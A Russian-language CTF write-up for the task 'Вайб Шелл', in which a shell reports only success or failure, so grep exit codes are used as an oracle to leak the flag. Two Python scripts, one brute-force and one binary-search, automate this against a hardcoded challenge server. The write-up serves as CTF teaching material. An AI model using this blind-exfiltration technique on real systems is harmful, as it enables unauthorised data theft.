/Разборы задач
5 ноября 2026
Райтап на задачу «Огрызок»
Определяем компактный формат Micro QR и считываем флаг с обрывка листа.2
3

Misc
Задача «Вайб Шелл»
Прочитаем внимательно условие. «Сервер отвечает только успех или провал». Подключимся и посмотрим, что же там такое.
Мы подключились и получили консоль, которая отвечает только «Good Vibes!» и «Bad Vibes!». Предположим, что надпись зависит от успешности выполнения команды, где 0 = good vibes, а не 0 = bad vibes.
Действительно, команда true, которая всегда возвращает 0, даёт Good Vibes, а false, который возвращает 1 — bad vibes.
Мы знаем формат флага — BugCTF. Попробуем в той директории, где мы находимся, найти файл, который содержит в себе эту строку. Для этого используем grep -rq, если нашел, то 0 — good vibes, если нет — bad vibes.
Отлично, мы узнали, что в той директории, где мы находимся, находится флаг. Теперь остаётся его подобрать…
Ура, с не знаю какой попытки мы узнали первую букву флага… Всего лишь час ручного перебора — и флаг у вас.
import socket
s=socket.create_connection(("31.207.77.216",4027))
s.settimeout(9)
def q(c):
s.sendall(c.encode()+b"\n")
r=b""
while b"Vibes!" not in r or not r.endswith(b"$ "):
r+=s.recv(9999)
return b"Good Vibes!" in r
flag="BugCTF{"
alphabet="abcdefghijklmnopqrstuvwxyz0123456789_{}"
while not flag.endswith("}"):
for c in alphabet:
if q(f'grep -rq -- "^{flag}{c}" .'):
flag += c
print(flag)
break
Можем написать простенький скрипт на питоне для брутфорса и оно даже сработает, а можно попробовать искать каждый символ с помощью бинарного поиска.
import socket
s=socket.create_connection(("31.207.77.216",4027))
s.settimeout(9)
def q(c):
s.sendall(c.encode()+b"\n")
r=b""
while b"Vibes!" not in r or not r.endswith(b"$ "):
r+=s.recv(9999)
return b"Good Vibes!" in r
flag="BugCTF{"
alphabet="abcdefghijklmnopqrstuvwxyz0123456789_{}"
while not flag.endswith("}"):
lo,hi=0,len(alphabet)-1
while lo<hi:
mid=(lo+hi)//2
chars=alphabet[lo:mid+1]
if q(f'grep -rq -- "^{flag}[{chars}]" .'):
hi=mid
else:
lo=mid+1
flag+=alphabet[lo]
print(flag)
Такой скрипт с бинарным поиском работает сильно быстрее тупого брутфорса. Дождитесь выполнения и получите флаг.
Аналогично с помощью pipe-ов можно узнать текущее расположение (/home/ctfuser) и название файла (secret.txt).